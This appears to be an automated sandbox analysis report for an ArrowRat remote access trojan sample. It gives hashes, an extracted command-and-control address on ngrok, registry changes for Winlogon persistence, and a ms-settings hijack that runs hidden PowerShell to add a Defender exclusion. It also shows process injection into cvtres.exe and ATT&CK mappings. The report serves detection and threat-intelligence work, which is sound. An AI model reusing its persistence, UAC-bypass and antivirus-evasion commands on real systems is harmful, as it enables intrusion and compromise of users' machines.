arrowrat | 8a032aa8eba9f5f0727f26ec74ca3dff029955ae6be9c1e7b7a7a84c41820910

General

Target

Client.exe
Size

158KB
MD5

330f9ca88df2bb08b5d92df02830a8ab
SHA1

1d94ac49a57ea8c5a77c15b0f9252528f4d429f9
SHA256

8a032aa8eba9f5f0727f26ec74ca3dff029955ae6be9c1e7b7a7a84c41820910
SHA512

aa8d9d9fe801315472bfaada35a56dfc6c64ba0d7cfd9a467858eb2797e365bbc69de4c2afba5667abf6304a266dbeed1a8e13b39a86d2c6b884d12069113f39
SSDEEP

3072:gbzRH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfP+iO8Y:gbzRe0ODhTEPgnjuIJzo+PPcfP+d8

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

6.tcp.eu.ngrok.io:13114:4444

Mutex

IpVAZHAys

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\Pan\\dora"	Client.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 6 IoCs

Processes:

Client.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000_CLASSES\ms-settings\shell\open\command	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000_CLASSES\ms-settings	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000_CLASSES\ms-settings\shell	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000_CLASSES\ms-settings\shell\open	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Roaming\\Pan\\dora'"	Client.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

Client.exe

pid	process
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe
2136	Client.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

Client.exeexplorer.exe

description pid process

Token: SeDebugPrivilege 2136 Client.exe
Token: SeShutdownPrivilege 2856 explorer.exe
Token: SeShutdownPrivilege 2856 explorer.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Client.exe

pid process

2136 Client.exe

description	pid	process
Token: SeDebugPrivilege	2136	Client.exe
Token: SeShutdownPrivilege	2856	explorer.exe
Token: SeShutdownPrivilege	2856	explorer.exe

Suspicious use of WriteProcessMemory 49 IoCs

Processes:

Client.exeexplorer.exe

description	pid	process	target process
PID 2136 wrote to memory of 2856	2136	Client.exe	explorer.exe
PID 2136 wrote to memory of 2856	2136	Client.exe	explorer.exe
PID 2136 wrote to memory of 2856	2136	Client.exe	explorer.exe
PID 2136 wrote to memory of 2864	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2864	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2864	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2864	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2700	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2700	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2700	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2700	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2688	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2688	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2688	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2688	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2672	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2672	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2672	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2672	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2556	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2556	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2556	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2556	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2120	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2120	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2120	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2120	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2940	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2940	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2940	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2940	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2836	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2836	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2836	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2836	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2808	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2808	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2808	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2808	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2748	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2748	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2748	2136	Client.exe	cvtres.exe
PID 2136 wrote to memory of 2748	2136	Client.exe	cvtres.exe
PID 2856 wrote to memory of 2576	2856	explorer.exe	ctfmon.exe
PID 2856 wrote to memory of 2576	2856	explorer.exe	ctfmon.exe
PID 2856 wrote to memory of 2576	2856	explorer.exe	ctfmon.exe
PID 2136 wrote to memory of 2720	2136	Client.exe	ComputerDefaults.exe
PID 2136 wrote to memory of 2720	2136	Client.exe	ComputerDefaults.exe
PID 2136 wrote to memory of 2720	2136	Client.exe	ComputerDefaults.exe

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:2576
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2864
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2700
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2688
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2672
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2556
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2120
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2940
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2836
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2808
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io:13114 4444 IpVAZHAys
  2⤵
  PID:2748
- C:\Windows\System32\ComputerDefaults.exe
  "C:\Windows\System32\ComputerDefaults.exe"
  2⤵
  PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

2

T1547

Active Setup

1

T1547.014

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

2

T1547

Active Setup

1

T1547.014

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2136-0-0x000007FEF5F63000-0x000007FEF5F64000-memory.dmp

Filesize
4KB

Download
memory/2136-1-0x0000000000F30000-0x0000000000F5E000-memory.dmp

Filesize
184KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads